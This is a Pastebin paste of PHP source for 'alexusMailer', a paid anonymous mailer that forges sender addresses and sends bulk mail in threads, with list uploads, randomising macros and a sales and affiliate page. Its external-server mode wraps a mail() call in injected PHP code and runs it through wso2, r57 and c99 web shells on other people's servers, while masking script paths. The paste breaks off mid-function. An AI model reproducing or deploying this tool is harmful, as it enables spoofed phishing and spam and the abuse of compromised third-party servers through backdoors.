Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php $logpass=""; //FORMAT: md5(loginIMAILpassword); ?>
- <?php
- ini_set('display_errors',0);//1
- ini_set('display_startup_errors',0);//1
- error_reporting(0);//-1
- ?>
- <?php header('Content-type: text/html; charset=utf-8;'); ?>
- <?php
- #Alexus(240980845) - http://www.a-l-e-x-u-s.ru/
- #CREATED AT 15.12.2011
- #UPD 02.04.2012 v 1.1
- #UPD 10.04.2012 v 1.2
- #UPD 30.05.2012 v 1.3
- #UPD 02.06.2012 v 1.3.1
- #UPD 20.10.2012 v 1.4
- #UPD 16.02.2013 v 1.5
- #UPD 15.04.2013 v 1.5.1
- #UPD 01.06.2013 v 1.6
- #UPD 15.09.2013 v 1.6.5
- #UOD 30.04.2014 v 1.7
- #UPD 11.08.2014 v 1.7.1
- #UPD 02.10.2014 v 1.7.2
- define("VERSION", "1.7");
- $boundary="--".randomstr(10);
- $lang="ru";
- if (isset($_COOKIE['translation']))
- $lang=$_COOKIE['translation'];
- if(isset($_POST['PROXY'])) {
- $proxy_server=parse_url($_POST['PROXY']);
- define("PROXY",$proxy_server['host'].":".$proxy_server['port']);
- }
- $translation=array(
- 'ru'=>array(
- 'status-idle'=>'простаиваем',
- 'status-sending'=>'рассылка',
- 'status-pause'=>'пауза',
- 'process-resume'=>'Возобновить',
- 'process-pause'=>'Приостановить',
- 'process-cancel'=>'Отменить',
- 'settings-primary'=>'Основные',
- 'settings-outservers'=>'Внешние сервера',
- 'settings-security'=>'Безопасность',
- 'settings-history-length'=>'Длина истории отправки',
- 'settings-outservers-doc'=>'Подробное описание работы с внешнеми серверами смотрите в <a href="http://mailer.a-l-e-x-u-s.ru/docs/alexusMailer_v1.7.ru.pdf"><span class="label label-warning">документации</span></a>',
- 'settings-outservers-check'=>'<button class="btn" onclick="pingoutservers()">Проверить сервера</button> (недоступные будут автоматически удалены из списка)',
- 'settings-outservers-check-log'=>'Лог проверки:',
- 'settings-security-notwritable'=>' Отсутствует доступ на запись к скрипту! Смена пароля невозможна. <b>Измените права на 666</b> на время смены пароля.',
- 'settings-security-password-changed'=>'Пароль успешно изменен!',
- 'settings-security-password-not-changed'=>'При изменении пароля произошла ошибка, возможно файл скрипта недоступен на запись.',
- 'settings-security-set-password'=>'Установить пароль',
- 'settings-security-remove-password'=>'Удалить пароль',
- 'settings-security-use-proxy'=>'Использовать http прокси',
- 'main'=>'Главная',
- 'help'=>'Помощь',
- 'login'=>'Логин',
- 'password'=>'Пароль',
- 'settings'=>'Настройки',
- 'name'=>'йаПосылалка',
- 'title_service'=>'Сервис анонимной отправки почты с подменой адреса',
- 'description_service'=>'Сервис анонимной отправки электронной почты с подменой адреса и прикреплением файлов йаПосылалка',
- 'keywords_service'=>'Сервис анонимной отправки почты,анонимная отправка почты, анонимная отправка электронных сообшений, анонимная отправка сообшений, анонимное письмо, анонимный e mail ,отправить анонимный e mail,анонимная отправка e mail',
- 'need_auth'=>'Для доступа необходима авторизация.',
- 'wronglogpas'=>'Неправильный логин или пароль.',
- 'sendedto'=>'Отправлено на ',
- 'badcaptcha'=>'Неправильная captcha',
- 'sendlimit'=>'Лимит отправок 1 в час',
- 'sendavailable'=>'Отправка доступна',
- 'sendlessminute'=>'Отправка менее чем через минуту',
- 'sendafter'=>'Отправка через ',
- 'sendafter2'=>' минут',
- 'attachfile'=>'Прикрепление файла',
- 'close'=>'Закрыть',
- 'upload'=>'Загрузить',
- 'uploadlist'=>'Загрузка списка',
- 'uploadtemplate'=>'Загрузка шаблона',
- 'preview'=>'Предпросмотр',
- 'donatedevelopment'=>'Спонсировать разработку',
- 'techsupport'=>'Техническая поддержка',
- 'settings'=>'Настройки',
- 'threadsnum'=>'Количество потоков:',
- 'timeoutlen'=>'Длительность задржки в секундах:',
- 'useoutservers'=>'Использовать внешние серверы для отправки',
- 'unavalable_in_service'=>'недоступно в режиме сервиса',
- 'less'=>'Меньше',
- 'more'=>'Больше',
- 'delete'=>'Удалить',
- 'status'=>'Статус',
- 'recipient'=>'Кому',
- 'fromname'=>'От кого, имя',
- 'frommail'=>'От кого, адрес email',
- 'replymail'=>'Адрес ответа, email',
- 'subject'=>'Тема',
- 'subject_example'=>'выращивание бамбука под кроватью',
- 'addfield'=>'Дополнительное поле',
- 'addfield2'=>'доп. поле',
- 'mailtype'=>'Тип письма',
- 'plaintext'=>'обычный текст',
- 'withformating'=>'с форматированием',
- 'htmle'=>'html с переносом картинок в аттач',
- 'captcha'=>'Проверочный код',
- 'save'=>'Сохранить',
- 'load'=>'Загрузить',
- 'send'=>'Отправить',
- 'backtoeditor'=>'Вернуться к редактированию',
- 'hellopage'=>'<center><h2>Сервис йаПосылалка</h2></center>
- <p>
- Сервис йаПосылалка создан на базе одноименного скрипта анонимной отправки электронной почты.
- Для сервиса всегда используется последняя версия скрипта, но при этом сервис имеет некоторые ограничения
- для защиты его от использования в качестве спамера.
- <br><b>Ограничения:</b><br>
- <ol>
- <li>Разрешено отправлять одно письмо в час</li>
- <li>Для отправки необходимо вводить капчу</li>
- <li>Отображается реклама</li>
- </ol>
- <b>Сервис анонимной отправки почты абсолютно бесплатен</b> и существует в первую очедь в демонстрационных целях.<br>
- <center><button class="btn btn-primary btn-large prime-button">Отправить письмо</button></center>
- </p>
- <p>
- Последнюю версию скрипта анонимной отправки для установки на своём сервере можно <b>купить за 25$ или 750 рублей</b>.
- <br>В ней <b>отсутствуют все ограничения</b> на отправку, и обеспечиваются:<br>
- <ol>
- <li>Помощь по использованию и установке</li>
- <li>Исправление найденых ошибок</li>
- <li>Приоритетный приём заявок по доработке</li>
- <li>Обновления в пределах текущей ветки</li>
- </ol>
- <center><a href="/buy/" class="btn btn-primary btn-large prime-button" style="color:#fff;font-weight:bold;">Купить</a></center>
- </p>
- <p>
- У йаПосылалка существует <b>высокодоходная партнёрская программа</b>, если человек купит скрипт по вашей партнёрской ссылке,
- вы получаете <b>50% от стоимости</b> скрипта (12.5$ или 325 рублей) с каждой продажи.<br>
- <center><a href="/partner/" class="btn btn-primary btn-large prime-button" style="color:#fff;font-weight:bold;">Стать партнёром!</a></center>
- </p>
- <script type="text/javascript">(function() {
- if (window.pluso)if (typeof window.pluso.start == "function") return;
- var d = document, s = d.createElement(\'script\'), g = \'getElementsByTagName\';
- s.type = \'text/javascript\'; s.charset=\'UTF-8\'; s.async = true;
- s.src = (\'https:\' == window.location.protocol ? \'https\' : \'http\') + \'://share.pluso.ru/pluso-like.js\';
- var h=d[g](\'head\')[0] || d[g](\'body\')[0];
- h.appendChild(s);
- })();</script>
- <div data-description="Сервис анонимной отправки электронной почты с подменой адреса и прикреплением файлов йаПосылалка" data-title="Сервис анонимной отправки почты с подменой адреса - йаПосылалка" data-url="http://mailer.a-l-e-x-u-s.ru/" class="pluso" data-options="big,square,line,horizontal,counter,theme=08" data-services="vkontakte,odnoklassniki,facebook,twitter,google,moimir,email,print" data-background="#ebebeb"></div>
- <div id="vk_comments"></div>
- <script type="text/javascript">
- VK.Widgets.Comments("vk_comments", {limit: 10, width: "660", attach: false, norealtime:1}, "mailer.a-l-e-x-u-s.ru");
- </script>',
- 'helppage'=>'<h2>Справка</h2>
- <h3>Что это?</h3>
- Сервис анонимной отправки email сообщений с произвольного/чужого адреса в текстовом или html формате.<br>
- <b>Формат html(e)</b> позволяет автоматически перенести в attach картинки из тегов img или атрибута background, что делает письмо автономным и не требует внешнего сервера для корректного отображения.
- Так же в почтовых клиентах (the bat, outlook, ...) картинки отображаются сразу.<br>
- <b>esreveR</b> меняет символы в обратном порядке и устанавливает css для их отображения в верном порядке.<br>
- <b>Предпросмотр</b> позволяет посмотреть как будет выглядеть письмо когда все макросы будут заменены.<br>
- <b>Сохранение\Загрука</b> позволяет экономить время и делать шаблоны для часто используемых писем.<br>
- <b>Подгрузка списка</b> адресатов возможна нажатием на кнопку рядом с соотв. полем.<br>
- <b>Задержка</b> между отправкой писем<br>
- <b>Внешние серверы</b> для распределения рассылки между разными йаПосылалками <br><b style="color:red;">Перед использованием внешних посылалок проверьте корректность их работы на сервере</b>
- <br><br><a href="http://mailer.a-l-e-x-u-s.ru/docs/alexusMailer_v1.7.ru.pdf"><span class="label label-warning"><i class="icon-file icon-white"></i> Скачать полную документацию</span></a>
- <hr>
- <h3>Макросы (в теле письма и в заголовках)</h3>
- <ul>
- <li>Кому - <b>[TO-EMAIL]</b></li>
- <li>От кого, имя - <b>[FROM-NAME]</b></li>
- <li>От кого, адрес email - <b>[FROM-EMAIL]</b></li>
- <li>Тема - <b>[THEME]</b></li>
- <li>Дополнительное поле - <b>[ADD0]</b> , <b>[ADD1]</b>, <b>[ADD2]</b> ...</li>
- <li>Случайное число (5000..6000)- <b>[RAND]</b></li>
- <li>Случайное число (от A до B)- <b>[RAND-A-B]</b> , например <b>[RAND-10-99]</b></li>
- <li>Случайный текст - <b>[RAND:text1|text2|...]</b> , например <b>[RAND:hello dude|hello|hi|wazzup]</b></li>
- <li>Перечисление - <b>[ENUM:text1|text2|...]</b> , например <b>[ENUM:здравствуйте|привет|как дела]</b></li>
- </ul>
- <h3>Макросы даты и времени</h3>
- <ul>
- <li><b>[DATE]</b> - Текущая дата (<b>[DATE-4]</b> - Текущая дата минус 4 дня) (<b>[DATE+4]</b> - Текущая дата плюс 4 дня)
- <ul>
- <li><b>[DAY]</b> - Текущий день (<b>[DAY+3]</b> - Текущий день плюс 3 дня)</li>
- <li><b>[MONTH]</b> - Текущий месяц (<b>[MONTH-2]</b> - Текущий месяц минус 2 месяца)</li>
- <li><b>[YEAR]</b> - Текущий год (<b>[YEAR-1]</b> - Текущий год минус 1 год)</li>
- </ul>
- </li>
- <li><b>[TIME]</b> - Текущее время (<b>[TIME-4]</b> - Текущее время минус 4 минуты)
- <ul>
- <li><b>[HOUR]</b> - Текущий час (<b>[HOUR-3]</b> - Текущий час минус 3 часа)</li>
- <li><b>[MINUTE]</b> - Текущий месяц (<b>[MINUTE-2]</b> - Текущая минута минус 2 минуты)</li>
- </ul>
- </li>
- </ul>
- <hr>
- Внимание! Сервис предоставлен исключительно для ознакомления. Ответственность за возможно незаконное использование несете только Вы.'
- ),
- 'en'=>array(
- 'status-idle'=>'Idle',
- 'status-sending'=>'Sending',
- 'status-pause'=>'Pause',
- 'process-resume'=>'Resume',
- 'process-pause'=>'Pause',
- 'process-cancel'=>'Cancel',
- 'settings-primary'=>'Primary',
- 'settings-outservers'=>'External servers',
- 'settings-security'=>'Security',
- 'settings-history-length'=>'History max length',
- 'settings-outservers-doc'=>'Read <a href="http://mailer.a-l-e-x-u-s.ru/docs/alexusMailer_v1.7.en.pdf"><span class="label label-warning">documentation</span></a> to learn more about external servers.',
- 'settings-outservers-check'=>'<button class="btn" onclick="pingoutservers()">Check servers</button> (Unavailable will be auto-removed)',
- 'settings-outservers-check-log'=>'Check log:',
- 'settings-security-notwritable'=>'Script file is not writable! Password change imposible. <b>Change file rights to 666</b> for password change.',
- 'settings-security-password-changed'=>'Password succesfully changed!',
- 'settings-security-password-not-changed'=>'There was an error during pass change, may be script file is not writable.',
- 'settings-security-set-password'=>'Set password',
- 'settings-security-remove-password'=>'Remove password',
- 'settings-security-use-proxy'=>'Use http proxy',
- 'main'=>'Primary',
- 'help'=>'Help',
- 'login'=>'Login',
- 'password'=>'Password',
- 'settings'=>'Settings',
- 'backtoeditor'=>'Back to editor',
- 'name'=>'alexusMailer',
- 'title_service'=>'Anonymous e-mail service',
- 'description_service'=>'Сервис анонимной отправки электронной почты с подменой адреса и прикреплением файлов йаПосылалка',
- 'keywords_service'=>'Сервис анонимной отправки почты,анонимная отправка почты, анонимная отправка электронных сообшений, анонимная отправка сообшений, анонимное письмо, анонимный e mail ,отправить анонимный e mail,анонимная отправка e mail',
- 'need_auth'=>'Authentification required!',
- 'wronglogpas'=>'Wrong login or password!',
- 'sendedto'=>'Sended to ',
- 'badcaptcha'=>'Wrong security code',
- 'sendlimit'=>'Sending limit is 1 per hour',
- 'sendavailable'=>'Sending available',
- 'sendlessminute'=>'Sending will be available less in one minute',
- 'sendafter'=>'Sending after ',
- 'sendafter2'=>' minutes',
- 'attachfile'=>'Attach file',
- 'close'=>'Close',
- 'upload'=>'Upload',
- 'uploadlist'=>'Upload list',
- 'uploadtemplate'=>'Upload template',
- 'preview'=>'Preview',
- 'donatedevelopment'=>'Donate to developer',
- 'techsupport'=>'Tech Support',
- 'settings'=>'Settings',
- 'threadsnum'=>'Thread nubmer:',
- 'timeoutlen'=>'Timeout in seconds:',
- 'useoutservers'=>'Use external servers for sending',
- 'unavalable_in_service'=>'unavailable in service mode',
- 'less'=>'Less',
- 'more'=>'More',
- 'delete'=>'Delete',
- 'status'=>'Status',
- 'recipient'=>'Recipient',
- 'fromname'=>'From, name',
- 'frommail'=>'From, email',
- 'replymail'=>'Reply-to, email',
- 'subject'=>'Subject',
- 'subject_example'=>'Growing bamboo under the bed',
- 'addfield'=>'Additional field',
- 'addfield2'=>'add. field',
- 'mailtype'=>'Mail type',
- 'plaintext'=>'plain text',
- 'withformating'=>'with formating',
- 'htmle'=>'html with image auto-attach',
- 'captcha'=>'Security code',
- 'save'=>'Save',
- 'load'=>'Load',
- 'send'=>'Send',
- 'hellopage'=>'<center><h2>alexusMailer service</h2></center>
- <p>
- alexusMailer service is based on the eponymous script to send an anonymous e-mail.
- For this service is always used the latest version of the alexusMailer, but it have some limitations to protect it from being used as a spammer.
- <br><b>Limitations:</b><br>
- <ol>
- <li>Allowed to send one letter per hour</li>
- <li>To send you must enter the captcha</li>
- <li>Advertisement</li>
- </ol>
- <b>Anonymous mailing service is completely free</b> and exists in demonstration purposes.<br>
- <center><button class="btn btn-primary btn-large prime-button">Send mail</button></center>
- </p>
- <p>
- You can by the latest version of alexusMailer - anonymous mailing script for installing on your own server <b>for 25 USD</b>.
- <br>This version <b>have no any limitations</b> and gives you:<br>
- <ol>
- <li>Full support in installation and using</li>
- <li>Fixing of all errors you can find</li>
- <li>Priority accepting applications for upgrading</li>
- <li>Free updates in current major version (1.*)</li>
- </ol>
- <center><a href="/en/buy/" class="btn btn-primary btn-large prime-button" style="color:#fff;font-weight:bold;">Buy alexusMailer</a></center>
- </p>
- <p>
- alexusMailer has a <b>highly profitable partnership program</b>, if a person buys alexusMailer on your affiliate link
- you get <b>50% of the cost</b> (12.5 USD) per sale.<br>
- <center><a href="/en/partner/" class="btn btn-primary btn-large prime-button" style="color:#fff;font-weight:bold;">Became a partner!</a></center>
- </p>
- <script type="text/javascript">(function() {
- if (window.pluso)if (typeof window.pluso.start == "function") return;
- var d = document, s = d.createElement(\'script\'), g = \'getElementsByTagName\';
- s.type = \'text/javascript\'; s.charset=\'UTF-8\'; s.async = true;
- s.src = (\'https:\' == window.location.protocol ? \'https\' : \'http\') + \'://share.pluso.ru/pluso-like.js\';
- var h=d[g](\'head\')[0] || d[g](\'body\')[0];
- h.appendChild(s);
- })();</script>
- <div data-description="Anonymous e-mail service with attaching files - alexusMailer" data-title="Anonymous remailer - alexusMailer" data-url="http://mailer.a-l-e-x-u-s.ru/en/" class="pluso" data-options="big,square,line,horizontal,counter,theme=08" data-services="vkontakte,odnoklassniki,facebook,twitter,google,moimir,email,print" data-background="#ebebeb"></div>
- ',
- 'helppage'=>'<h2>Help</h2>
- <h3>What is it?</h3>
- Anonymous mailing service from random or foreign email in plain text or html format.<br>
- <b>Format html(e)</b> allows automatically move images from img tag or background attribute to attach, what makes letter independent from external server for correct display.
- Also in e-mail clients (the bat, outlook, ...) will be displayed immediately.<br>
- <b>esreveR</b> change symbol possition in back order and set css for correct display in mail.<br>
- <b>Preview</b> can hepl to see how mail will look after all macro will be replaced.<br>
- <b>Save\Load</b> is helpful in making collection of regular mailing templates.<br>
- <b>Recipient list loading</b> available by clicking on button near the recipient field.<br>
- <b>Timeout</b> between sending mails.<br>
- <b>External servers</b> for distributing you mails between different servers <br><b style="color:red;">Before using external servers ensure that they work correct.</b>
- <br><br><a href="http://mailer.a-l-e-x-u-s.ru/docs/alexusMailer_v1.7.en.pdf"><span class="label label-warning"><i class="icon-file icon-white"></i> Download full documentation</span></a>
- <hr>
- <h3>Macro (in mail body, headers and additional fields)</h3>
- <ul>
- <li>Recipient - <b>[TO-EMAIL]</b></li>
- <li>From, name - <b>[FROM-NAME]</b></li>
- <li>From, email - <b>[FROM-EMAIL]</b></li>
- <li>Subject - <b>[THEME]</b></li>
- <li>Additional field - <b>[ADD0]</b> , <b>[ADD1]</b>, <b>[ADD2]</b> ...</li>
- <li>Random number (5000..6000)- <b>[RAND]</b></li>
- <li>Random number (from A to B)- <b>[RAND-A-B]</b> , example <b>[RAND-10-99]</b></li>
- <li>Random text - <b>[RAND:text1|text2|...]</b> , example <b>[RAND:hello dude|hello|hi|wazzup]</b></li>
- <li>Enumeration - <b>[ENUM:text1|text2|...]</b> , example <b>[ENUM:wellcome|hi|how are you]</b></li>
- </ul>
- <h3>Macro for date and time</h3>
- <ul>
- <li><b>[DATE]</b> - Current date (<b>[DATE-4]</b> - Current date minus 4 days) (<b>[DATE+4]</b> - Current date plus 4 days)
- <ul>
- <li><b>[DAY]</b> - Current day (<b>[DAY+3]</b> - Current day plus 3 days)</li>
- <li><b>[MONTH]</b> - Current month (<b>[MONTH-2]</b> - Current month minus 2 months)</li>
- <li><b>[YEAR]</b> - Current year (<b>[YEAR-1]</b> - Current year minus 1 year)</li>
- </ul>
- </li>
- <li><b>[TIME]</b> - Current time (<b>[TIME-4]</b> - Current time minus 4 minutes)
- <ul>
- <li><b>[HOUR]</b> - Current hour (<b>[HOUR-3]</b> - Current hour minus 3 hours)</li>
- <li><b>[MINUTE]</b> - Current minute (<b>[MINUTE-2]</b> - Current minute minus 2 minutes)</li>
- </ul>
- </li>
- </ul>
- <hr>
- Warning! This service was created only in demonstration purposes. All responsibility for out law actions is only on you!'
- )
- );
- function tr($name, $iface=true) {
- global $lang, $translation;
- if($iface)
- print "<span class='tr-$name'>".$translation[$lang][$name]."</span>";
- else
- print $translation[$lang][$name];
- return;
- }
- if($logpass!="") {
- if(!isset($_SERVER['PHP_AUTH_USER'])) {
- header('WWW-Authenticate: Basic realm="IMAIL"');
- header('HTTP/1.0 401 Unauthorized');
- print tr('need_auth',false);
- exit;
- } else {
- if(md5($_SERVER['PHP_AUTH_USER']."IMAIL".$_SERVER['PHP_AUTH_PW'])!=$logpass) {
- header('WWW-Authenticate: Basic realm="IMAIL"');
- header('HTTP/1.0 401 Unauthorized');
- print tr('wronglogpas',false);
- exit;
- }
- }
- }
- if (get_magic_quotes_gpc()) {
- function stripslashes_deep($value)
- {
- $value = is_array($value) ?
- array_map('stripslashes_deep', $value) :
- stripslashes($value);
- return $value;
- }
- $_POST = array_map('stripslashes_deep', $_POST);
- $_GET = array_map('stripslashes_deep', $_GET);
- $_COOKIE = array_map('stripslashes_deep', $_COOKIE);
- $_REQUEST = array_map('stripslashes_deep', $_REQUEST);
- }
- if($_SERVER['QUERY_STRING']=="send" || $_SERVER['QUERY_STRING']=="preview") {
- $email=array(
- to=> $_POST['to'],
- fromname=> $_POST['fromname'],
- frommail=> $_POST['frommail'],
- replymail=> $_POST['replymail'],
- tema=> $_POST['tema'],
- additional=>$_POST['additional'],
- text=> $_POST['text'],
- enumer=> $_SERVER['QUERY_STRING']=="preview"?1:$_POST['enumer']
- );
- //замена списочных значений
- $email[fromname]=applyEnumer($email[fromname], $email[enumer]);
- $email[frommail]=applyEnumer($email[frommail], $email[enumer]);
- $email[replymail]=applyEnumer($email[replymail], $email[enumer]);
- $email[tema]=applyEnumer($email[tema], $email[enumer]);
- ReplaceFileTemplate($email[to], $email);
- if($_POST['type']=='text')
- $tip="text/plain";
- else
- $tip="text/html";
- ReplaceTemplates($email[text], $email);
- ReplaceTemplates($email[fromname], $email);
- ReplaceTemplates($email[frommail], $email);
- ReplaceTemplates($email[tema], $email);
- foreach ($email[additional] as $key => $value)
- ReplaceTemplates($email[additional][$key], $email);
- $fromname=trim($email[fromname]); $fromname=substr($fromname,0,100);
- $frommail=trim($email[frommail]); $frommail=substr($frommail,0,100);
- $from="=?UTF-8?B?".base64_encode($fromname)."?= <$frommail>";
- $tema=$email[tema];
- $header="From: $from\n";
- //$header.="Subject: $tema\n";
- $header.="Content-type: $tip; charset=utf-8\n";
- if(trim($email[replymail])!='')
- $header.="Reply-To: {$email[replymail]}\n";
- if($_SERVER['QUERY_STRING']=="preview") {
- print $email[text];
- exit;
- }
- if($_POST['type']=='htmle' || isset($_POST['files'])) {
- $header="From: $from\n";
- //$header.="Subject: $tema\n";
- $header.="MIME-Version: 1.0;\n";
- $header.="Content-type: multipart/mixed; boundary=\"$boundary\"\n";
- if(trim($email[replymail])!='')
- $header.="Reply-To: {$email[replymail]}\n";
- $content="--$boundary\n";
- $content.="Content-type: text/html; charset=\"utf-8\"\n";
- $content.="Content-Transfer-Encoding: 8bit\n\n";
- }
- if($_POST['type']=='htmle') {
- preg_match_all('~<img.*?src=\"(.+?)\".*?>~si',$email[text],$matches);
- preg_match_all('~background="(.+?)"~si',$email[text],$matches2);
- $img_matches=array_merge($matches[1],$matches2[1]);
- $i = 0;
- $paths = array();
- foreach ($img_matches as $img) {
- if($paths[$i-1]['path']==$img) continue;
- $paths[$i]['path']=$img;
- if(preg_match("/\.gif/i", $img)) {
- $paths[$i]['type']='gif';
- } else if(preg_match("/\.png/i", $img)) {
- $paths[$i]['type']='png';
- } else if(preg_match("/\.(jpeg|jpg)/i", $img)) {
- $paths[$i]['type']='jpeg';
- } else {
- $paths[$i]['type']='unknown';
- }
- $paths[$i]['cid']=md5($img);
- $email[text] = str_replace($img,'cid:'.$paths[$i]['cid'],$email[text]);
- $i++;
- }
- $content.=$email[text]."\n";
- if(isset($_POST['files'])) $content.=makeAttach(json_decode($_POST['files'], true), $boundary);
- foreach($paths as $img) {
- $content.="--$boundary\n";
- if($img['type']=="unknown")
- $content.="Content-Type: application/octet-stream; name=\"".$img['cid'].".png\"\n";
- else
- $content.="Content-Type: image/".$img['type']."; name=\"".$img['cid'].".".$img['type']."\"\n";
- $content.="Content-Transfer-Encoding:base64\n";
- $content.="Content-ID: <".$img['cid'].">\n\n";
- $content.=chunk_split(base64_encode(file_get_contents($img['path'])))."\n";
- }
- $content.="--$boundary--\n";
- } elseif(isset($_POST['files'])) {
- $content.=$email[text]."\n";
- $content.=makeAttach(json_decode($_POST['files'], true), $boundary);
- $content.="--$boundary--\n";
- } else {
- $content=$email['text'];
- }
- /**
- Зона дебага
- Симулируем отправку(медленно и четко)
- */
- /*sleep(1);
- echo tr('sendedto',false).$email[to];
- exit;*/
- /**
- Зона дебага
- */
- if($_SERVER['QUERY_STRING']=="send" && isset($_POST['outserver'])) {
- $data=json_encode(array(
- 'to'=>$email[to],
- 'subject'=>$tema,
- 'content'=>base64_encode($content),
- 'header'=>$header
- )
- );
- $code="\$hide=array('PHP_SELF'=>'','SCRIPT_FILENAME'=>'','REQUEST_URI'=>'','SCRIPT_NAME'=>'');while(list(\$key,)=each(\$hide)){\$hide[\$key]=\$_SERVER[\$key];\$_SERVER[\$key]='/';}\$data=json_decode('{$data}',true);mail(\$data['to'],\$data['subject'],base64_decode(\$data['content']),\$data['header']);reset(\$hide);while(list(\$key,)=each(\$hide))\$_SERVER[\$key]=\$hide[\$key];print 'sended';";
- $outserver=$_POST['outserver'];
- list($url,$type,$pass)=explode("|",$outserver);
- if($type=="wso2") {
- $answer=wso2exec($url,$pass,$code);
- print $answer=="sended"?tr('sendedto',false).$email[to]:"remote server unavailable".$answer;
- exit;
- } elseif($type=="r57") {
- list($login,$pass)=explode(":", $pass);
- $answer=r572exec($url,$login,$pass,$code);
- print $answer=="sended"?tr('sendedto',false).$email[to]:"remote server unavailable".$answer;
- exit;
- } elseif($type=="c99") {
- list($login,$pass)=explode(":", $pass);
- $answer=c992exec($url,$login,$pass,$code);
- print $answer=="sended"?tr('sendedto',false).$email[to]:"remote server unavailable".$answer;
- exit;
- } elseif($type=="ars") {
- //list($login,$pass)=explode(":", $pass);
- $answer=ars2exec($url,$pass,"mail",$data);
- print $answer['status']=="GOOD"?tr('sendedto',false).$email[to]:"remote server unavailable".$answer;
- exit;
- } else {
- print "WRONG OUT SERVER TYPE";
- exit;
- }
- } else {
- //print $content;
- //print $header;
- if(function_exists("mb_orig_mail"))
- mb_orig_mail($email[to], $tema, $content, $header);
- else
- mail($email[to], $tema, $content, $header);
- }
- echo tr('sendedto',false).$email[to];
- exit;
- } elseif ($_SERVER['QUERY_STRING']=="send_from_template") {
- $template=str_replace("&", "&", $_POST['template']);
- list($template,$text)=explode("[TEXT]", $template);
- $content=explode("\n", $template);
- $post=array();
- $post['to']=$_POST['to'];
- $post['replymail']=$_POST['replymail'];
- $post['text']=$text;
- for($i=0; $i<count($content);$i++) {
- if(strpos($content[$i], "[FROM-NAME]")!==false) {
- $content[$i]=str_replace("[FROM-NAME]","",$content[$i]);
- $post['fromname']=$content[$i];
- } elseif(strpos($content[$i], "[FROM-EMAIL]")!==false) {
- $content[$i]=str_replace("[FROM-EMAIL]","",$content[$i]);
- $post['frommail']=$content[$i];
- } elseif(strpos($content[$i], "[THEME]")!==false) {
- $content[$i]=str_replace("[THEME]","",$content[$i]);
- $post['tema']=$content[$i];
- } elseif(strpos($content[$i], "[TYPE]")!==false) {
- $content[$i]=str_replace("[TYPE]","",$content[$i]);
- $post['type']=$content[$i];
- } elseif(strpos($content[$i], "[FILES]")!==false) {
- $content[$i]=str_replace("[FILES]","",$content[$i]);
- $post['files']=$content[$i];
- } elseif(strpos($content[$i], "[ADD")!==false) {
- $result=preg_match("/\[ADD(\d+)\]/", $content[$i], $arr);
- $post['additional['.$arr[1].']']=str_replace($arr[0], "", $content[$i]);
- }
- }
- //print_r($post);
- $requrl='http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?send';
- //print $requrl.PHP_EOL;
- $headers=array();
- $headers[]='Content-type: application/x-www-form-urlencoded';
- $opts = array('http' =>
- array(
- 'method' => 'POST',
- //'proxy' => (defined('PROXY'))?('tcp://' . PROXY):null,
- 'header' => implode(PHP_EOL, $headers),
- //'timeout' => $timeout,
- 'content' => http_build_query($post)
- )
- );
- //print_r($opts);
- $context = stream_context_create($opts);
- $response=@file_get_contents($requrl, false, $context);
- print $response;
- exit;
- } elseif ($_SERVER['QUERY_STRING']=="upload_form") {
- print "<form action='".$_SERVER['PHP_SELF']."?upload' method='post' enctype='multipart/form-data'><input type='file' name='elist'>";
- exit;
- } elseif ($_SERVER['QUERY_STRING']=="upload") {
- if ($_FILES["elist"]["error"] > 0) {
- echo "Error: " . $_FILES["elist"]["error"] . "<br />";
- } else {
- print "<html><body onload='window.parent.upload_finished(document.body.textContent||document.body.innerText)'>".file_get_contents($_FILES["elist"]["tmp_name"])."</body></html>";
- }
- exit;
- } elseif ($_SERVER['QUERY_STRING']=="upload_universal") {
- if(!isset($_POST['sended'])) {
- print "<form action='".$_SERVER['PHP_SELF']."?upload_universal' method='post' enctype='multipart/form-data'><input type='hidden' name='sended' value='true'><input type='file' name='elist'>";
- exit;
- } else {
- if ($_FILES["elist"]["error"] > 0) {
- echo "Error: " . $_FILES["elist"]["error"] . "<br />";
- } else {
- print "<html>
- <body onload='window.parent.uploadFinishedHandler(document.body.textContent||document.body.innerText)'>".
- base64_encode(json_encode(array(
- "name" => $_FILES["elist"]["name"],
- "type" => $_FILES["elist"]["type"],
- "size" => $_FILES["elist"]["size"],
- "content" => base64_encode(file_get_contents($_FILES["elist"]["tmp_name"]))
- ))).
- "</body></html>";
- }
- exit;
- }
- if ($_FILES["elist"]["error"] > 0) {
- echo "Error: " . $_FILES["elist"]["error"] . "<br />";
- } else {
- print "<html><body onload='window.parent.upload_finished(document.body.textContent||document.body.innerText)'>".file_get_contents($_FILES["elist"]["tmp_name"])."</body></html>";
- }
- exit;
- } elseif ($_SERVER['QUERY_STRING']=="loadsave") {
- if(isset($_FILES["elist"])) {
- print "<html><body onload='window.parent.loadsave(document.body.innerHTML)'>".file_get_contents($_FILES["elist"]["tmp_name"])."</body></html>";
- } else {
- print "<form action='".$_SERVER['PHP_SELF']."?loadsave' method='post' enctype='multipart/form-data'><input type='file' name='elist'></form>";
- }
- exit;
- } elseif ($_SERVER['QUERY_STRING']=="savedata") {
- if(isset($_POST['savedata'])) {
- header ("Content-Type: application/force-download");
- header ("Accept-Ranges: bytes");
- header ("Content-Length: ".strlen(($_POST['savedata'])));
- header ("Content-Disposition: attachment; filename=template.txt");
- print $_POST['savedata'];
- } else {
- print "<form action='".$_SERVER['PHP_SELF']."?savedata' method='post'><textarea name='savedata'></textarea>
- <input type='submit' value='Upload'></form>";
- }
- exit;
- } elseif ($_SERVER['QUERY_STRING']=="changepass") {
- clearstatcache();
- $response=array();
- if(!is_writable(__FILE__)) {
- $response['result']="error";
- } elseif($_POST['login']=="" && $_POST['pass']=="") {
- $data=file_get_contents(__FILE__);
- $data=str_replace($logpass, "", $data);
- file_put_contents(__FILE__, $data);
- $response['result']="ok";
- } else {
- $new_logpass=md5($_POST['login']."IMAIL".$_POST['pass']);
- $data=file_get_contents(__FILE__);
- if($logpass=="") {
- $data=str_replace('$logpass="";', '$logpass="'.$new_logpass.'";', $data);
- } else {
- $data=str_replace($logpass, $new_logpass, $data);
- }
- //$data=preg_replace("/$logpass=\".*?\";/", "$logpass=\"".$new_logpass."\";", $data, 1);
- file_put_contents(__FILE__, $data);
- $response['result']="ok";
- }
- //print $new_logpass.PHP_EOL;
- //print $data;
- print json_encode($response);
- exit;
- } elseif ($_SERVER['QUERY_STRING']=="diagnostics") {
- clearstatcache();
- $state=array(
- 'self_permissions'=>(int)is_writable(__FILE__),
